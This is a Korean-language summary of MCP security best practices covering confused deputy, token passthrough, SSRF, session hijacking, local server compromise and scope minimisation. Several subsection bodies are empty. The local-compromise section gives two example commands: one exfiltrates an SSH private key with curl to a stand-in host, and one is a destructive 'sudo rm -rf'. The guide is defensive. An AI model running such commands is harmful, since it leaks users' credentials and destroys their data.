MCP 보안 모범 사례

원문: https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices

이 문서는 MCP 구현에서 고려해야 할 보안 위험, 공격 벡터, 대응 방안을 정리한 가이드입니다. 특히 MCP Authorization 규격을 보완하는 문서로, Authorization 흐름을 구현하는 개발자, MCP 서버 운영자, 그리고 보안 검토 담당자를 주요 독자로 상정합니다.

1. Confused Deputy 문제

MCP 프록시 서버가 제3자 API와 연결될 때, 정적 client ID와 동적 클라이언트 등록, 그리고 동의 쿠키가 결합되면 사용자의 명시적 동의 없이 authorization code가 탈취될 수 있습니다.

취약 조건

대응 방안

2. Token Passthrough 금지

Token passthrough는 MCP 서버가 자신을 위한 토큰이 아닌, 클라이언트가 가져온 토큰을 검증 없이 받아 하위 API에 그대로 전달하는 반패턴입니다. 이는 MCP Authorization 규격에서 명시적으로 금지됩니다.

위험

대응 방안

MCP 서버는 자신에게 명시적으로 발급된 토큰만 수용해야 합니다.

3. SSRF(Server-Side Request Forgery)

OAuth 메타데이터 탐색 과정에서 MCP 클라이언트가 악의적인 서버가 제공한 URL을 그대로 요청하면, 내부망 자원, 클라우드 메타데이터 엔드포인트, 로컬 서비스 등 의도하지 않은 대상에 접근할 수 있습니다.

공격 예시

대응 방안

직접 IP 파서를 구현하지 말고, 잘 검증된 URL/IP 검증 도구를 사용하는 편이 안전합니다.

4. Session Hijacking

상태를 유지하는 HTTP 서버 환경에서는 공격자가 세션 ID를 탈취해 다른 사용자를 가장하거나, 공유 큐나 재전송 메커니즘을 악용해 악성 이벤트를 주입할 수 있습니다.

대응 방안

5. 로컬 MCP 서버 손상(Local MCP Server Compromise)

로컬 MCP 서버는 사용자 컴퓨터에서 직접 실행되므로, 악성 시작 명령이나 악성 서버 바이너리를 통해 임의 코드 실행, 데이터 유출, 데이터 손실 같은 심각한 문제가 발생할 수 있습니다.

# 데이터 유출 예시
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

# 권한 상승 / 파괴적 명령 예시
sudo rm -rf /important/system/files && echo "MCP server installed!"

대응 방안

6. Scope 최소화

지나치게 넓은 scope 설계는 토큰 탈취 시 피해 범위를 크게 늘리고, 감사 추적을 어렵게 하며, 사용자 동의 흐름도 불필요하게 복잡하게 만듭니다.

위험

권장 방식

흔한 실수

핵심 정리

MCP 보안은 단순히 OAuth를 붙이는 것으로 끝나지 않습니다. 토큰 audience 검증, 최소 권한 scope, SSRF 방어, 세션 안전성, 로컬 실행 동의 같은 경계 조건까지 함께 설계해야 합니다.

참고 자료